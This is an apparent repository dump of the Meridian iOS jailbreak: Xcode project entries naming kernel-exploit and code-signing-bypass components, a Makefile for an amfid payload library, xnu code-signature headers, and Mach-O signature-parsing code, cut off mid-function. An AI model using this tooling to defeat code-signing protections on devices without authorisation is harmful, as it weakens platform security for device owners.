installer-base.tar */ = {isa = PBXFileReference; lastKnownFileType = archive.tar; path = "installer-base.tar"; sourceTree = ""; }; B537019A202EB4BF004E5E5C /* dpkgdb-base.tar */ = {isa = PBXFileReference; lastKnownFileType = archive.tar; path = "dpkgdb-base.tar"; sourceTree = ""; }; B56929D6203708020044FF60 /* jailbreak.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = jailbreak.m; sourceTree = ""; }; B56929D82037080D0044FF60 /* jailbreak.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = jailbreak.h; sourceTree = ""; }; B5783DB1210DDBE0004339F8 /* nonce.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = nonce.m; sourceTree = ""; }; B5783DB3210DDC79004339F8 /* iokit.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = iokit.h; sourceTree = ""; }; B5783DB4210DDE62004339F8 /* nonce.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = nonce.h; sourceTree = ""; }; B57A06C2202CDC8B00ACDB9D /* create-meridian-bootstrap.sh */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = text.script.sh; path = "create-meridian-bootstrap.sh"; sourceTree = ""; }; B57A06E4202CDF9100ACDB9D /* meridian-bootstrap */ = {isa = PBXFileReference; lastKnownFileType = folder; path = "meridian-bootstrap"; sourceTree = ""; }; B57A06E6202CEDF500ACDB9D /* cydia-base.tar */ = {isa = PBXFileReference; lastKnownFileType = archive.tar; path = "cydia-base.tar"; sourceTree = ""; }; B57A06E7202CEDF500ACDB9D /* optional-base.tar */ = {isa = PBXFileReference; lastKnownFileType = archive.tar; path = "optional-base.tar"; sourceTree = ""; }; B57A06E8202CEDF500ACDB9D /* system-base.tar */ = {isa = PBXFileReference; lastKnownFileType = archive.tar; path = "system-base.tar"; sourceTree = ""; }; B57A06E9202CEDF500ACDB9D /* meridian-base.tar */ = {isa = PBXFileReference; lastKnownFileType = archive.tar; path = "meridian-base.tar"; sourceTree = ""; }; B57A06EE202CF4F300ACDB9D /* tar.tar */ = {isa = PBXFileReference; lastKnownFileType = archive.tar; path = tar.tar; sourceTree = ""; }; B57CBF60205DA3DF00EEDA20 /* jailbreak_daemonUser.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = jailbreak_daemonUser.c; sourceTree = ""; }; B57CBF65205DB35F00EEDA20 /* fishhook */ = {isa = PBXFileReference; lastKnownFileType = folder; path = fishhook; sourceTree = ""; }; B57F7853212149FE008A3DEF /* jailbreak_daemonUser.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = jailbreak_daemonUser.h; sourceTree = ""; }; B582405D1FF75A4000D96DB5 /* helpers.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = helpers.h; sourceTree = ""; }; B582405E1FF75A4000D96DB5 /* helpers.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = helpers.m; sourceTree = ""; }; B584C54920376BCA00BF4118 /* untar.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = untar.m; sourceTree = ""; }; B584C54B20376BD200BF4118 /* untar.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = untar.h; sourceTree = ""; }; B585494920A64F8F00107CF2 /* nvpatch.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = nvpatch.h; sourceTree = ""; }; B585494A20A64F8F00107CF2 /* nvpatch.c */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.c; path = nvpatch.c; sourceTree = ""; }; B585F414205198DF0049C703 /* liboffsetfinder64.hpp */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.h; path = liboffsetfinder64.hpp; sourceTree = ""; }; B585F4172051993E0049C703 /* offsetfinder.mm */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.cpp.objcpp; path = offsetfinder.mm; sourceTree = ""; }; B585F41920519B7E0049C703 /* offsetfinder.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = offsetfinder.h; sourceTree = ""; }; B585F41E20519DB30049C703 /* libplist++.a */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; path = "libplist++.a"; sourceTree = ""; }; B585F41F20519DB30049C703 /* libplist.a */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; path = libplist.a; sourceTree = ""; }; B585F42020519DB40049C703 /* libimg4tool.a */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; path = libimg4tool.a; sourceTree = ""; }; B589517E201D07DB002E0EAD /* amfid */ = {isa = PBXFileReference; lastKnownFileType = folder; path = amfid; sourceTree = ""; }; B5895186201D15E7002E0EAD /* pspawn_hook */ = {isa = PBXFileReference; lastKnownFileType = folder; path = pspawn_hook; sourceTree = ""; }; B589518C201D4018002E0EAD /* jailbreakd */ = {isa = PBXFileReference; lastKnownFileType = folder; path = jailbreakd; sourceTree = ""; }; B59532711FFE2B5000022CEE /* README.md */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = net.daringfireball.markdown; name = README.md; path = ../README.md; sourceTree = ""; }; B5A034FC210D162900C0E52E /* preferences.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = preferences.m; sourceTree = ""; }; B5A034FE210D16D600C0E52E /* preferences.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = preferences.h; sourceTree = ""; }; B5A4EA94205F14CD00B32F89 /* meridian-bootstrap.tar */ = {isa = PBXFileReference; lastKnownFileType = archive.tar; path = "meridian-bootstrap.tar"; sourceTree = ""; }; B5B7C29F1FF2BA100087619A /* main.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = main.m; sourceTree = ""; }; B5B7C2AA1FF2C7860087619A /* IOKit.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = IOKit.framework; path = ../../../../../../System/Library/Frameworks/IOKit.framework; sourceTree = ""; }; B5B7C2B51FF353970087619A /* v0rtex.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = v0rtex.m; sourceTree = ""; xcLanguageSpecificationIdentifier = xcode.lang.c; }; B5B7C2B61FF353980087619A /* v0rtex.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = v0rtex.h; sourceTree = ""; }; B5B9E03A2060280400FEA273 /* build_time */ = {isa = PBXFileReference; lastKnownFileType = text; name = build_time; path = Meridian/build_time; sourceTree = ""; }; B5C4FBD82052E67700F82D43 /* SettingsController.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = SettingsController.h; sourceTree = ""; }; B5C4FBD92052E67700F82D43 /* SettingsController.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = SettingsController.m; sourceTree = ""; }; B5DF1ABF20597A120090B4B5 /* liboffsetfinder64.a */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; path = liboffsetfinder64.a; sourceTree = ""; }; B5DF1AC12059C0E20090B4B5 /* libmerged.a */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; path = libmerged.a; sourceTree = ""; }; B5DF1AC32059C14E0090B4B5 /* libcompression.tbd */ = {isa = PBXFileReference; lastKnownFileType = "sourcecode.text-based-dylib-definition"; name = libcompression.tbd; path = usr/lib/libcompression.tbd; sourceTree = SDKROOT; }; B5F7CCCF204A29320051F4A7 /* LICENSE.md */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = net.daringfireball.markdown; name = LICENSE.md; path = ../LICENSE.md; sourceTree = ""; }; B5FDF8EC206EF4880074A075 /* offsetdump.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = offsetdump.h; sourceTree = ""; }; EE45BD8D20C2DEDE00D627C0 /* CreditsController.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = CreditsController.h; sourceTree = ""; }; EE45BD8E20C2DEDE00D627C0 /* CreditsController.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = CreditsController.m; sourceTree = ""; }; /* End PBXFileReference section */ /* Begin PBXFrameworksBuildPhase section */ B514CC731FECD788005F4E6B /* Frameworks */ = { isa = PBXFrameworksBuildPhase; buildActionMask = 2147483647; files = ( B5DF1AC42059C14E0090B4B5 /* libcompression.tbd in Frameworks */, B52F29152051C82800F4EB57 /* libimg4tool.a in Frameworks */, B52F29172051C82800F4EB57 /* libplist.a in Frameworks */, B52F29182051C82800F4EB57 /* libplist++.a in Frameworks */, B5B7C2AB1FF2C7860087619A /* IOKit.framework in Frameworks */, B5DF1AC020597A120090B4B5 /* liboffsetfinder64.a in Frameworks */, B5DF1AC22059C0E20090B4B5 /* libmerged.a in Frameworks */, ); runOnlyForDeploymentPostprocessing = 0; }; /* End PBXFrameworksBuildPhase section */ /* Begin PBXGroup section */ B50F79671FF224F0000D6015 /* views */ = { isa = PBXGroup; children = ( B514CC871FECD788005F4E6B /* Info.plist */, B514CC791FECD788005F4E6B /* AppDelegate.h */, B50F794A1FF2248B000D6015 /* AppDelegate.m */, B5C4FBD82052E67700F82D43 /* SettingsController.h */, B5C4FBD92052E67700F82D43 /* SettingsController.m */, EE45BD8D20C2DEDE00D627C0 /* CreditsController.h */, EE45BD8E20C2DEDE00D627C0 /* CreditsController.m */, B514CC7C1FECD788005F4E6B /* ViewController.h */, B514CC8F1FECDC71005F4E6B /* ViewController.m */, B514CC821FECD788005F4E6B /* Assets.xcassets */, B514CC7F1FECD788005F4E6B /* Main.storyboard */, B514CC841FECD788005F4E6B /* LaunchScreen.storyboard */, ); path = views; sourceTree = ""; }; B514CC6D1FECD787005F4E6B = { isa = PBXGroup; children = ( B5F7CCCF204A29320051F4A7 /* LICENSE.md */, B59532711FFE2B5000022CEE /* README.md */, B52F29232051E33500F4EB57 /* Working_with_libjailbreak.md */, B5B9E03A2060280400FEA273 /* build_time */, B589517E201D07DB002E0EAD /* amfid */, B57CBF65205DB35F00EEDA20 /* fishhook */, B589518C201D4018002E0EAD /* jailbreakd */, B5895186201D15E7002E0EAD /* pspawn_hook */, B514CC781FECD788005F4E6B /* Meridian */, B514CC771FECD788005F4E6B /* Products */, B5C368AD1FF2B80400D7724F /* Recovered References */, B5B7C2A31FF2C5CE0087619A /* Frameworks */, ); sourceTree = ""; }; B514CC771FECD788005F4E6B /* Products */ = { isa = PBXGroup; children = ( B514CC761FECD788005F4E6B /* Meridian.app */, ); name = Products; sourceTree = ""; }; B514CC781FECD788005F4E6B /* Meridian */ = { isa = PBXGroup; children = ( B50F79671FF224F0000D6015 /* views */, B57A06B7202CDA9F00ACDB9D /* bootstrap */, B52F29252051E93A00F4EB57 /* patchfinders */, B5E98535205B4CE500AD1FEC /* helpers */, B57CBF5F205DA3DF00EEDA20 /* mach */, B50F794E1FF2248C000D6015 /* amfi.h */, B50F79531FF2248D000D6015 /* amfi.m */, B50F793B1FF2248A000D6015 /* common.h */, B56929D82037080D0044FF60 /* jailbreak.h */, B56929D6203708020044FF60 /* jailbreak.m */, B5A034FC210D162900C0E52E /* preferences.m */, B5A034FE210D16D600C0E52E /* preferences.h */, B50F79521FF2248C000D6015 /* root-rw.h */, B50F79461FF2248B000D6015 /* root-rw.m */, B5B7C2B61FF353980087619A /* v0rtex.h */, B5B7C2B51FF353970087619A /* v0rtex.m */, ); path = Meridian; sourceTree = ""; }; B52F29252051E93A00F4EB57 /* patchfinders */ = { isa = PBXGroup; children = ( B585F414205198DF0049C703 /* liboffsetfinder64.hpp */, B5FDF8EC206EF4880074A075 /* offsetdump.h */, B50D4C0E2122500800F61B82 /* offsetdump.m */, B585F41920519B7E0049C703 /* offsetfinder.h */, B585F4172051993E0049C703 /* offsetfinder.mm */, B50F794C1FF2248C000D6015 /* patchfinder64.h */, B50F79401FF2248B000D6015 /* patchfinder64.c */, ); path = patchfinders; sourceTree = ""; }; B57A06B7202CDA9F00ACDB9D /* bootstrap */ = { isa = PBXGroup; children = ( B57A06C2202CDC8B00ACDB9D /* create-meridian-bootstrap.sh */, B57A06E4202CDF9100ACDB9D /* meridian-bootstrap */, B57A06E6202CEDF500ACDB9D /* cydia-base.tar */, B537019A202EB4BF004E5E5C /* dpkgdb-base.tar */, B5370198202EABFF004E5E5C /* installer-base.tar */, B5A4EA94205F14CD00B32F89 /* meridian-bootstrap.tar */, B57A06E7202CEDF500ACDB9D /* optional-base.tar */, B57A06E8202CEDF500ACDB9D /* system-base.tar */, B57A06EE202CF4F300ACDB9D /* tar.tar */, ); path = bootstrap; sourceTree = ""; }; B57CBF5F205DA3DF00EEDA20 /* mach */ = { isa = PBXGroup; children = ( B57F7853212149FE008A3DEF /* jailbreak_daemonUser.h */, B57CBF60205DA3DF00EEDA20 /* jailbreak_daemonUser.c */, ); path = mach; sourceTree = ""; }; B5B7C2A31FF2C5CE0087619A /* Frameworks */ = { isa = PBXGroup; children = ( B5DF1AC32059C14E0090B4B5 /* libcompression.tbd */, B5DF1AC12059C0E20090B4B5 /* libmerged.a */, B5DF1ABF20597A120090B4B5 /* liboffsetfinder64.a */, B585F42020519DB40049C703 /* libimg4tool.a */, B585F41F20519DB30049C703 /* libplist.a */, B585F41E20519DB30049C703 /* libplist++.a */, B5B7C2AA1FF2C7860087619A /* IOKit.framework */, ); name = Frameworks; sourceTree = ""; }; B5C368AD1FF2B80400D7724F /* Recovered References */ = { isa = PBXGroup; children = ( B50F79481FF2248B000D6015 /* main.m */, B57A06E9202CEDF500ACDB9D /* meridian-base.tar */, ); name = "Recovered References"; sourceTree = ""; }; B5E98535205B4CE500AD1FEC /* helpers */ = { isa = PBXGroup; children = ( B52F29262051F10800F4EB57 /* fucksigningservices.h */, B52F29272051F10800F4EB57 /* fucksigningservices.m */, B582405D1FF75A4000D96DB5 /* helpers.h */, B582405E1FF75A4000D96DB5 /* helpers.m */, B5783DB3210DDC79004339F8 /* iokit.h */, B50F79511FF2248C000D6015 /* kernel.h */, B50F794F1FF2248C000D6015 /* kernel.m */, B5B7C29F1FF2BA100087619A /* main.m */, B5783DB4210DDE62004339F8 /* nonce.h */, B5783DB1210DDBE0004339F8 /* nonce.m */, B585494920A64F8F00107CF2 /* nvpatch.h */, B585494A20A64F8F00107CF2 /* nvpatch.c */, B584C54B20376BD200BF4118 /* untar.h */, B584C54920376BCA00BF4118 /* untar.m */, ); path = helpers; sourceTree = ""; }; /* End PBXGroup section */ /* Begin PBXLegacyTarget section */ B5555EA6205438CA00D62F57 /* amfid */ = { isa = PBXLegacyTarget; buildArgumentsString = "$(ACTION)"; buildConfigurationList = B5555EA7205438CA00D62F57 /* Build configuration list for PBXLegacyTarget "amfid" */; buildPhases = ( ); buildToolPath = /usr/bin/make; buildWorkingDirectory = $SRCROOT/amfid; dependencies = ( ); name = amfid; passBuildSettingsInEnvironment = 1; productName = amfid; }; B5555EAE205438F300D62F57 /* pspawn_hook */ = { isa = PBXLegacyTarget; buildArgumentsString = "$(ACTION)"; buildConfigurationList = B5555EAF205438F300D62F57 /* Build configuration list for PBXLegacyTarget "pspawn_hook" */; buildPhases = ( ); buildToolPath = /usr/bin/make; buildWorkingDirectory = $SRCROOT/pspawn_hook; dependencies = ( ); name = pspawn_hook; passBuildSettingsInEnvironment = 1; productName = pspawn_hook; }; B5555EB22054390100D62F57 /* jailbreakd */ = { isa = PBXLegacyTarget; buildArgumentsString = "$(ACTION)"; buildConfigurationList = B5555EB32054390100D62F57 /* Build configuration list for PBXLegacyTarget "jailbreakd" */; buildPhases = ( ); buildToolPath = /usr/bin/make; buildWorkingDirectory = $SRCROOT/jailbreakd; dependencies = ( ); name = jailbreakd; passBuildSettingsInEnvironment = 1; productName = jailbreakd; }; /* End PBXLegacyTarget section */ /* Begin PBXNativeTarget section */ B514CC751FECD788005F4E6B /* Meridian */ = { isa = PBXNativeTarget; buildConfigurationList = B514CC8C1FECD788005F4E6B /* Build configuration list for PBXNativeTarget "Meridian" */; buildPhases = ( B52C43BB200BCC920047B1B4 /* ShellScript */, B5A4EA93205F0E2900B32F89 /* ShellScript */, B514CC721FECD788005F4E6B /* Sources */, B514CC731FECD788005F4E6B /* Frameworks */, B514CC741FECD788005F4E6B /* Resources */, ); buildRules = ( ); dependencies = ( B5555EBB20543A4100D62F57 /* PBXTargetDependency */, B5555EC120543A4100D62F57 /* PBXTargetDependency */, B5555EBF20543A4100D62F57 /* PBXTargetDependency */, ); name = Meridian; productName = Meridian; productReference = B514CC761FECD788005F4E6B /* Meridian.app */; productType = "com.apple.product-type.application"; }; /* End PBXNativeTarget section */ /* Begin PBXProject section */ B514CC6E1FECD787005F4E6B /* Project object */ = { isa = PBXProject; attributes = { TargetAttributes = { B514CC751FECD788005F4E6B = { ProvisioningStyle = Automatic; }; B5555EA6205438CA00D62F57 = { ProvisioningStyle = Automatic; }; B5555EAE205438F300D62F57 = { ProvisioningStyle = Automatic; }; B5555EB22054390100D62F57 = { ProvisioningStyle = Automatic; }; }; }; buildConfigurationList = B514CC711FECD787005F4E6B /* Build configuration list for PBXProject "Meridian" */; compatibilityVersion = "Xcode 8.0"; developmentRegion = en; hasScannedForEncodings = 0; knownRegions = ( en, Base, ); mainGroup = B514CC6D1FECD787005F4E6B; productRefGroup = B514CC771FECD788005F4E6B /* Products */; projectDirPath = ""; projectRoot = ""; targets = ( B514CC751FECD788005F4E6B /* Meridian */, B5555EA6205438CA00D62F57 /* amfid */, B5555EAE205438F300D62F57 /* pspawn_hook */, B5555EB22054390100D62F57 /* jailbreakd */, ); }; /* End PBXProject section */ /* Begin PBXResourcesBuildPhase section */ B514CC741FECD788005F4E6B /* Resources */ = { isa = PBXResourcesBuildPhase; buildActionMask = 2147483647; files = ( B5B9E03B2060280500FEA273 /* build_time in Resources */, B514CC831FECD788005F4E6B /* Assets.xcassets in Resources */, B514CC811FECD788005F4E6B /* Main.storyboard in Resources */, B514CC861FECD788005F4E6B /* LaunchScreen.storyboard in Resources */, B57A06EA202CEDF500ACDB9D /* cydia-base.tar in Resources */, B537019B202EB4BF004E5E5C /* dpkgdb-base.tar in Resources */, B5370199202EAC00004E5E5C /* installer-base.tar in Resources */, B57A06EB202CEDF500ACDB9D /* optional-base.tar in Resources */, B57A06EC202CEDF500ACDB9D /* system-base.tar in Resources */, B57A06EF202CF4F300ACDB9D /* tar.tar in Resources */, B5A4EA95205F14CE00B32F89 /* meridian-bootstrap.tar in Resources */, ); runOnlyForDeploymentPostprocessing = 0; }; /* End PBXResourcesBuildPhase section */ /* Begin PBXShellScriptBuildPhase section */ B52C43BB200BCC920047B1B4 /* ShellScript */ = { isa = PBXShellScriptBuildPhase; buildActionMask = 2147483647; files = ( ); inputPaths = ( "$(SRCROOT)/Meridian/bootstrap/create-meridian-bootstrap.sh", ); outputPaths = ( ); runOnlyForDeploymentPostprocessing = 0; shellPath = /bin/sh; shellScript = "for ((i=0; i ================================================ FILE: Meridian/Meridian.xcodeproj/project.xcworkspace/xcshareddata/IDEWorkspaceChecks.plist ================================================ IDEDidComputeMac32BitWarning ================================================ FILE: Meridian/Meridian.xcodeproj/project.xcworkspace/xcshareddata/WorkspaceSettings.xcsettings ================================================ ================================================ FILE: Meridian/amfid/Makefile ================================================ TARGET = amfid_payload.dylib OUTDIR ?= bin SRC = $(wildcard *.c) $(wildcard *.m) $(wildcard */*.c) $(wildcard */*.m) CC = xcrun -sdk iphoneos gcc -arch arm64 LDID = ldid CFLAGS = -dynamiclib -I. -I./helpers -framework Foundation -framework IOKit -lc++ all: $(OUTDIR)/$(TARGET) $(OUTDIR): mkdir -p $(OUTDIR) $(OUTDIR)/$(TARGET): $(SRC) | $(OUTDIR) $(CC) $(CFLAGS) -o $@ $^ $(LDID) -S $@ install: all clean: rm -rf $(OUTDIR) ================================================ FILE: Meridian/amfid/common.h ================================================ #define CACHED_FIND(type, name) \ type __##name(void); \ type name(void) { \ type cached = 0; \ if (cached == 0) { \ cached = __##name(); \ } \ return cached; \ } \ type __##name(void) ================================================ FILE: Meridian/amfid/cs_blobs.h ================================================ // credits @stek29 - https://github.com/stek29/electra/blob/amfid_fix/basebinaries/amfid_payload/ // from: xnu osfmk/kern/cs_blobs.h #define CS_VALID 0x0000001 /* dynamically valid */ #define CS_ADHOC 0x0000002 /* ad hoc signed */ #define CS_GET_TASK_ALLOW 0x0000004 /* has get-task-allow entitlement */ #define CS_INSTALLER 0x0000008 /* has installer entitlement */ #define CS_HARD 0x0000100 /* don't load invalid pages */ #define CS_KILL 0x0000200 /* kill process if it becomes invalid */ #define CS_CHECK_EXPIRATION 0x0000400 /* force expiration checking */ #define CS_RESTRICT 0x0000800 /* tell dyld to treat restricted */ #define CS_ENFORCEMENT 0x0001000 /* require enforcement */ #define CS_REQUIRE_LV 0x0002000 /* require library validation */ #define CS_ENTITLEMENTS_VALIDATED 0x0004000 /* code signature permits restricted entitlements */ #define CS_ALLOWED_MACHO (CS_ADHOC | CS_HARD | CS_KILL | CS_CHECK_EXPIRATION | CS_RESTRICT | CS_ENFORCEMENT | CS_REQUIRE_LV) #define CS_EXEC_SET_HARD 0x0100000 /* set CS_HARD on any exec'ed process */ #define CS_EXEC_SET_KILL 0x0200000 /* set CS_KILL on any exec'ed process */ #define CS_EXEC_SET_ENFORCEMENT 0x0400000 /* set CS_ENFORCEMENT on any exec'ed process */ #define CS_EXEC_SET_INSTALLER 0x0800000 /* set CS_INSTALLER on any exec'ed process */ #define CS_KILLED 0x1000000 /* was killed by kernel for invalidity */ #define CS_DYLD_PLATFORM 0x2000000 /* dyld used to load this is a platform binary */ #define CS_PLATFORM_BINARY 0x4000000 /* this is a platform binary */ #define CS_PLATFORM_PATH 0x8000000 /* platform binary by the fact of path (osx only) */ #define CS_DEBUGGED 0x10000000 /* process is currently or has previously been debugged and allowed to run with invalid pages */ #define CS_SIGNED 0x20000000 /* process has a signature (may have gone invalid) */ #define CS_DEV_CODE 0x40000000 /* code is dev signed, cannot be loaded into prod signed code (will go away with rdar://problem/28322552) */ #define CS_ENTITLEMENT_FLAGS (CS_GET_TASK_ALLOW | CS_INSTALLER) typedef struct __attribute__((packed)) { uint32_t magic; /* magic number (CSMAGIC_CODEDIRECTORY) */ uint32_t length; /* total length of CodeDirectory blob */ uint32_t version; /* compatibility version */ uint32_t flags; /* setup and mode flags */ uint32_t hashOffset; /* offset of hash slot element at index zero */ uint32_t identOffset; /* offset of identifier string */ uint32_t nSpecialSlots; /* number of special hash slots */ uint32_t nCodeSlots; /* number of ordinary (code) hash slots */ uint32_t codeLimit; /* limit to main image signature range */ uint8_t hashSize; /* size of each hash in bytes */ uint8_t hashType; /* type of hash (cdHashType* constants) */ uint8_t platform; /* platform identifier; zero if not platform binary */ uint8_t pageSize; /* log2(page size in bytes); 0 => infinite */ uint32_t spare2; /* unused (must be zero) */ char end_earliest[0]; /* Version 0x20100 */ uint32_t scatterOffset; /* offset of optional scatter vector */ char end_withScatter[0]; /* Version 0x20200 */ uint32_t teamOffset; /* offset of optional team identifier */ char end_withTeam[0]; /* Version 0x20300 */ uint32_t spare3; /* unused (must be zero) */ uint64_t codeLimit64; /* limit to main image signature range, 64 bits */ char end_withCodeLimit64[0]; /* Version 0x20400 */ uint64_t execSegBase; /* offset of executable segment */ uint64_t execSegLimit; /* limit of executable segment */ uint64_t execSegFlags; /* executable segment flags */ char end_withExecSeg[0]; } CS_CodeDirectory; typedef struct __attribute__((packed)) { uint32_t type; /* type of entry */ uint32_t offset; /* offset of entry */ } CS_BlobIndex; typedef struct __attribute__((packed)) { uint32_t magic; /* magic number */ uint32_t length; /* total length of SuperBlob */ uint32_t count; /* number of index entries following */ CS_BlobIndex index[]; /* (count) entries */ /* followed by Blobs in no particular order as indicated by offsets in index */ } CS_SuperBlob; typedef struct __attribute__((packed)) { uint32_t magic; /* magic number */ uint32_t length; /* total length of blob */ char data[]; } CS_GenericBlob; typedef struct __SC_Scatter { uint32_t count; // number of pages; zero for sentinel (only) uint32_t base; // first page number uint64_t targetOffset; // offset in target uint64_t spare; // reserved } SC_Scatter; /* * Magic numbers used by Code Signing */ enum { CSMAGIC_REQUIREMENT = 0xfade0c00, /* single Requirement blob */ CSMAGIC_REQUIREMENTS = 0xfade0c01, /* Requirements vector (internal requirements) */ CSMAGIC_CODEDIRECTORY = 0xfade0c02, /* CodeDirectory blob */ CSMAGIC_EMBEDDED_SIGNATURE = 0xfade0cc0, /* embedded form of signature data */ CSMAGIC_EMBEDDED_SIGNATURE_OLD = 0xfade0b02, /* XXX */ CSMAGIC_EMBEDDED_ENTITLEMENTS = 0xfade7171, /* embedded entitlements */ CSMAGIC_DETACHED_SIGNATURE = 0xfade0cc1, /* multi-arch collection of embedded signatures */ CSMAGIC_BLOBWRAPPER = 0xfade0b01, /* CMS Signature, among other things */ CS_SUPPORTSSCATTER = 0x20100, CS_SUPPORTSTEAMID = 0x20200, CS_SUPPORTSCODELIMIT64 = 0x20300, CS_SUPPORTSEXECSEG = 0x20400, CSSLOT_CODEDIRECTORY = 0, /* slot index for CodeDirectory */ CSSLOT_INFOSLOT = 1, CSSLOT_REQUIREMENTS = 2, CSSLOT_RESOURCEDIR = 3, CSSLOT_APPLICATION = 4, CSSLOT_ENTITLEMENTS = 5, CSSLOT_ALTERNATE_CODEDIRECTORIES = 0x1000, /* first alternate CodeDirectory, if any */ CSSLOT_ALTERNATE_CODEDIRECTORY_MAX = 5, /* max number of alternate CD slots */ CSSLOT_ALTERNATE_CODEDIRECTORY_LIMIT = /* one past the last */ CSSLOT_ALTERNATE_CODEDIRECTORIES + CSSLOT_ALTERNATE_CODEDIRECTORY_MAX, CSSLOT_SIGNATURESLOT = 0x10000, /* CMS Signature */ CSTYPE_INDEX_REQUIREMENTS = 0x00000002, /* compat with amfi */ CSTYPE_INDEX_ENTITLEMENTS = 0x00000005, /* compat with amfi */ CS_HASHTYPE_SHA1 = 1, CS_HASHTYPE_SHA256 = 2, CS_HASHTYPE_SHA256_TRUNCATED = 3, CS_HASHTYPE_SHA384 = 4, CS_SHA1_LEN = 20, CS_SHA256_LEN = 32, CS_SHA256_TRUNCATED_LEN = 20, CS_CDHASH_LEN = 20, /* always - larger hashes are truncated */ CS_HASH_MAX_SIZE = 48, /* max size of the hash we'll support */ /* * Currently only to support Legacy VPN plugins, * but intended to replace all the various platform code, dev code etc. bits. */ CS_SIGNER_TYPE_UNKNOWN = 0, CS_SIGNER_TYPE_LEGACYVPN = 5, }; /* * Choose among different hash algorithms. * Higher is better, 0 => don't use at all. */ static const uint32_t hashPriorities[] = { CS_HASHTYPE_SHA1, CS_HASHTYPE_SHA256_TRUNCATED, CS_HASHTYPE_SHA256, CS_HASHTYPE_SHA384, }; ================================================ FILE: Meridian/amfid/cs_dingling.h ================================================ #include #include "cs_blobs.h" #define LOG(str, args...) do { NSLog(@"[amfid_payload] " str, ##args); } while(0) #define ERROR(str, args...) LOG("ERROR: [%s] " str, __func__, ##args) #define INFO(str, args...) LOG("INFO: " str, ##args) typedef struct { const char *name; uint64_t file_off; int fd; const void *addr; size_t size; } img_info_t; const void *find_code_signature(img_info_t *info, uint32_t *cs_size); int find_best_codedir(const void *csblob, uint32_t csblob_size, const CS_CodeDirectory **chosen_cd, uint32_t *csb_offset, const CS_GenericBlob **entitlements); int hash_code_directory(const CS_CodeDirectory *directory, uint8_t hash[CS_CDHASH_LEN]); static unsigned int hash_rank(const CS_CodeDirectory *cd); const char *get_hash_name(uint8_t hash_type); int open_img(img_info_t* info); void close_img(img_info_t* info); ================================================ FILE: Meridian/amfid/cs_dingling.m ================================================ #include "cs_dingling.h" #include #include #include #include #import #import // Finds the LC_CODE_SIGNATURE load command const void *find_code_signature(img_info_t *info, uint32_t *cs_size) { #define _LOG_ERROR(str, args...) ERROR("(%s) " str, info->name, ##args) if (info == NULL || info->addr == NULL) { return NULL; } // mach_header_64 is mach_header + reserved for padding const struct mach_header *mh = (const struct mach_header*)info->addr; uint32_t sizeofmh = 0; switch (mh->magic) { case MH_MAGIC_64: sizeofmh = sizeof(struct mach_header_64); break; case MH_MAGIC: sizeofmh = sizeof(struct mach_header); break; default: _LOG_ERROR("your magic is not valid in these lands: %08x", mh->magic); return NULL; } if (mh->sizeofcmds < mh->ncmds * sizeof(struct load_command)) { _LOG_ERROR("Corrupted macho (sizeofcmds < ncmds * sizeof(lc))"); return NULL; } if (mh->sizeofcmds + sizeofmh > info->size) { _LOG_ERROR("Corrupted macho (sizeofcmds + sizeof(mh) > size)"); return NULL; } const struct load_command *cmd = (const struct load_command *)((uintptr_t) info->addr + sizeofmh); for (int i = 0; i != mh->ncmds; ++i) { if (cmd->cmd == LC_CODE_SIGNATURE) { const struct linkedit_data_command* cscmd = (const struct linkedit_data_command*)cmd; if (cscmd->dataoff + cscmd->datasize > info->size) { _LOG_ERROR("Corrupted LC_CODE_SIGNATURE: dataoff + datasize > fsize"); return NULL; } if (cs_size) { *cs_size = cscmd->datasize; } return (const uint8_t*)((uintptr_t)info->addr + cscmd->dataoff); } cmd = (const struct load_command *)((uintptr_t)cmd + cmd->cmdsize); if ((uintptr_t)cmd + sizeof(struct load_command) > (uintptr_t)info->addr + info->size) { _LOG_ERROR("Corrupted macho: Unexpected end of file while parsing load commands"); return NULL; } } _LOG_ERROR("Didnt find the code signature"); return NULL; #undef _LOG_ERROR } #define BLOB_FITS(blob, size) ((size >= sizeof(*blob)) && (size >= ntohl(blob->length))) // xnu-3789.70.16/bsd/kern/ubc_subr.c#470 int find_best_codedir(const void *csblob, uint32_t blob_size, const CS_CodeDirectory **chosen_cd, uint32_t *csb_offset, const 